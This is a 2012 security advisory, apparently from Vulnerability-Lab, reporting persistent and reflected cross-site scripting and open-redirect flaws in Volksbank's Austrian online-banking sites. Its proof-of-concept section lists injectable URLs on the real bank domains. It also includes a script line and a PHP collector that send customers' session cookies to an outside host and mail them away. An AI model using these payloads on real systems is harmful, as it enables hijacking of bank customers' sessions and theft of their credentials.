Document Title:
===============
VolksBank Online Banking - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=172
Release Date:
=============
2012-02-07
Vulnerability Laboratory ID (VL-ID):
====================================
172
Product & Service Introduction:
===============================
Die Volksbank AG trifft eine Reihe von Sicherheitsvorkehrungen, die einen wirksamen Schutz gegen Angriffe
bei der Übertragung der Daten oder der Verarbeitung auf dem Bankenserver bieten. Treffen auch Sie Vorkehrungen
zum Schutz vor unberechtigten Manipulationen oder Eingriffen von Dritten und melden Sie uns auffällige Mails.
Geben Sie auf der folgenden Seite als Verfügernummer eine beliebige Zahl ein und klicken Sie anschließend auf
LOGINum die Demo-Version zu starten.
(Copy of the Vendor Homepage: https://www.banking.co.at/appl/ebp/login.html?resource=074&demo=true)
Abstract Advisory Information:
==============================
An anonymous Vulnerability Lab Researcher discovered multiple Web Vulnerabilities in the online-banking system of volksbank.
Vulnerability Disclosure Timeline:
==================================
2011-07-03: Vendor Notification 1
2011-08-25: Vendor Notification 2
2011-11-17: Vendor Notification 3
2012-01-09: Vendor Notification 4
2011-**-**: Vendor Response/Feedback
2011-**-**: Vendor Fix/Patch
2011-02-07: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
1.1
Multiple Input Validation vulnerabilities are detected on hte volksbank portal & banking website.
Remote attackers can include malicious persistent script-codes on application-side of the vulnerable affected modules.
The vulnerability allows an attacker also to hijack not expired customers sessions.
Vulnerable Module(s):
[+] Vorlagen Name
[+] Exception Handling
[+] Vorlagen Gruppen Name
[+] Default ASPX
--- Exception Logs ---
Error Page Exception
SRVE0260E: The server cannot use the error page specified for your application to handle the Original Exception printed below.
Original Exception:
Error Message: SRVE0295E: Error reported: 400
Error Code: 400
Target Servlet: /zib/de/include/search_ergebnisn.jsp
Error Stack:
com.ibm.ws.webcontainer.webapp.WebAppErrorReport: SRVE0295E: Error reported: 400
at java.lang.Throwable.(Throwable.java:67)
at javax.servlet.ServletException.(ServletException.java:72)
at com.ibm.websphere.servlet.error.ServletErrorReport.(ServletErrorReport.java:67)
at com.ibm.ws.webcontainer.webapp.WebAppDispatcherContext.sendError(WebAppDispatcherContext.java:600)
at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1180)
at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1162)
at at.co.arz.cms.hk010.volksbank.filter.ParameterValidationFilter.doFilter(ParameterValidationFilter.java:67)
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)
at at.co.arz.cms.hk010.volksbank.filter.DomainBranchValidationFilter.doFilter(DomainBranchValidationFilter.java:124)
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)
at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)
at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)
at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)
at com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(WebApp.java:3826)
at com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest(WebGroup.java:276)
at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:931)
at com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1583)
at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:186)
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:445)
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:504)
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:301)
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:275)
at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214)
at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113)
at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:165)
at com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217)
at com.ibm.io.async.AsyncChannelFuture.fireCompletionActions(AsyncChannelFuture.java:161)
at com.ibm.io.async.AsyncFuture.completed(AsyncFuture.java:138)
at com.ibm.io.async.ResultHandler.complete(ResultHandler.java:204)
at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:775)
at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905)
at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1563)
Error Page Exception:
Error Message: java.lang.NumberFormatException: For input string: <INCLUDE PERSISTENT MALICIOUS SCRIPTCODE HERE!>
Error Code: 0
Target Servlet: null
Error Stack:
java.lang.NumberFormatException: For input string: <INCLUDE PERSISTENT MALICIOUS SCRIPTCODE HERE!>
at java.lang.Throwable.<init>(Throwable.java:67)
at java.lang.NumberFormatException.forInputString(NumberFormatException.java:60)
at java.lang.Integer.parseInt(Integer.java:470)
at java.lang.Integer.parseInt(Integer.java:511)
at com.ibm._jsp._navigation_5F_oben._jspService(_navigation_5F_oben.java:184)
at com.ibm.ws.jsp.runtime.HttpJspBase.service(HttpJspBase.java:99)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:831)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1657)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1597)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:104)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)
at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)
at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)
at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)
at com.ibm.ws.webcontainer.webapp.WebAppRequestDispatcher.include(WebAppRequestDispatcher.java:673)
at org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:1045)
at org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:1006)
at com.ibm._jsp._error_5F_400._jspService(_error_5F_400.java:256)
at com.ibm.ws.jsp.runtime.HttpJspBase.service(HttpJspBase.java:99)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:831)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1657)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1597)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:104)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)
at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)
at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)
at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)
at com.ibm.ws.webcontainer.webapp.WebAppRequestDispatcher.forward(WebAppRequestDispatcher.java:341)
at com.ibm.ws.webcontainer.webapp.WebApp.sendError(WebApp.java:3262)
at com.ibm.ws.webcontainer.webapp.WebAppDispatcherContext.sendError(WebAppDispatcherContext.java:645)
at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1180)
at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1162)
at at.co.arz.cms.hk010.volksbank.filter.ParameterValidationFilter.doFilter(ParameterValidationFilter.java:67)
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)
at at.co.arz.cms.hk010.volksbank.filter.DomainBranchValidationFilter.doFilter(DomainBranchValidationFilter.java:124)
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)
at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)
at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)
at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)
at com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(WebApp.java:3826)
at com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest(WebGroup.java:276)
at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:931)
at com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1583)
at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:186)
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:445)
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:504)
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:301)
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:275)
at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214)
at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113)
at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:165)
at com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217)
at com.ibm.io.async.AsyncChannelFuture.fireCompletionActions(AsyncChannelFuture.java:161)
at com.ibm.io.async.AsyncFuture.completed(AsyncFuture.java:138)
at com.ibm.io.async.ResultHandler.complete(ResultHandler.java:204)
at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:775)
at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905)
at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1563)
Picture(s):
../volksbank.com.png
../volksbank.com2.png
1.2
Multiple Input Validation vulnerabilities are detected on client-side of the volksbank portal & banking website.
Remote attackers can hijack customer sessions/cookies via cross site scripting with high required user inter action.
Vulnerable Module(s):
[+] Search
Picture(s):
../volksbank.com3.png
../volksbank.com4.png
../volksbank.com5.png
1.3
A redirection vulnerability allows an attacker to redirect the website or implement phishing routines via ?url request on client-side.
Vulnerable Module(s):
[+] Kurse & Banking
[+] IPO News Index
Picture(s):
../volksbank.com6.png
../volksbank.com7.png
Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers or local privileged user accounts. For demonstration or reproduce ...
1.2 Server-Side
https://www.banking.co.at/appl/ebp/vorlage/erstellenaaueb.html[IVE]
https://www.banking.co.at/appl/ebp/vorlage/verwaltung/gruppen_update.html?vorlgrpid=1&jsStat=disabled[IVE]
https://www.banking.co.at/appl/ebp/vorlage/verwaltung/gruppen.html[IVE]
http://kurse.banking.co.at/volksbank/default.aspx?action=securityDetails&id=tts-5234010&menuId=1&pathName=[IVE]&lang=de&showMainOnly=yes
http://kurse.banking.co.at/volksbank/Default.aspx?action=chartDetail&id=tts-
5234010&type=javaChart&menuId=1&lang=de&showMainOnly=yes&pathName=[IVE]HERE%20CAN%20YOU%20INCLUDE%20ANYTHING!!!
http://kurse.banking.co.at/volksbank/default.aspx?action=iframe&ifheight=600&menuId=15&lang=de[IVE]
1.2 Client-Side
http://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=[IVE]
http://www.volksbank.com/m101/volksbank/zib/de/include/search_ergebnisn.jsp?menu1=-1&locincl=/m101_oevag&loclink=[IVE]
http://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=[IVE]
http://kurse.banking.co.at/volksbank/default.asp?menu1=5&menu2=6&menu1name=%22%3E%3Ciframe%20src=http://global-evolution.info/
%20height=800%20width=800%3E&menu1link=/de/modul/kurse_maerkte.jsp&menu2name=AGAIN&menu2link=/de/modul/kurse_maerkte.jsp?
seite=6&branch=m101_oevag&language=de&loclink=/m101/volksbank/m101_oevag&locincl=/m101_oevag&stage=p&dcr_name=templatedata/vb_modul/kurse_maer
kte/data/de/kurse_maerkte&thisjsp=/de/modul/kurse_maerkte&bc=navi&seite=6&url=www.volksbank.com&titel=Volksbank+AG+-+B%F6rsen+%26+M%E4rkte
https://www.banking.co.at/appl/ebp/karten/umsatzuebersicht.html?reqAttrCreditCardNumber=[IVE]
1.3 Redirection Vulnerabilities
http://kurse.banking.co.at/volksbank/default.asp?url=global-evolution.info/evil-file.html
http://kurse.banking.co.at/volksbank/default.asp?menu1=5&menu2=1&menu3=6&menu1name=B%F6rsen+%26+M
%E4rkte&menu1link=/de/modul/kurse_maerkte.jsp&menu2name=M%E4rkte%2FIndizes&menu2link=/de/modul/kurse_maerkte.jsp?seite=1&menu3name=IPO-
News&menu3link=/de/modul/kurse_maerkte.jsp?
seite=1_6&branch=m101_oevag&language=de&loclink=/m101/volksbank/m101_oevag&locincl=/m101_oevag&stage=p&dcr_name=&thisjsp=/de/modul/kurse_maerk
te.jsp?seite=1_6&bc=nutchsearch&seite=12&url=www.volksbank.com&titel=Volksbank+AG+-+B%F6rsen+%26+M%E4rkte&iframeUrl=http://global-
evolution.info/evil-file.html
----
script.js
location.href='http://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=
%3C/script%3E%20%22%3E
%3Cscript%20src%3Dhttp%3A//global-evolution.info/grep.php%3E%3C/script%3E?nice='+escape(document.cookie)
grep.php
<?
$cookie = $_GET['nice'];
$ip = getenv("REMOTE_ADDR");
$Time = date("l dS of F Y h:i:s A");
$msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time";
$subject = "cookie";
mail("[email protected]", $subject, $msg);
header ("location: http://www.volksbank.com/");
?>
Security Risk:
==============
1.1
The security risk of the persistent vulnerabilities are estimated as high(-) because of low required user inter action.
1.2
The security risk of the non-persistent vulnerabilities are estimated as medium(-) because of high required user inter action.
1.3
The security risk of the redirect vulnerability is estimated as low.
Credits & Authors:
==================
Vulnerability Research Laboratory - N/A Anonymous
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: [email protected] - [email protected] - [email protected]
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.
Copyright © 2012 | Vulnerability Laboratory
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation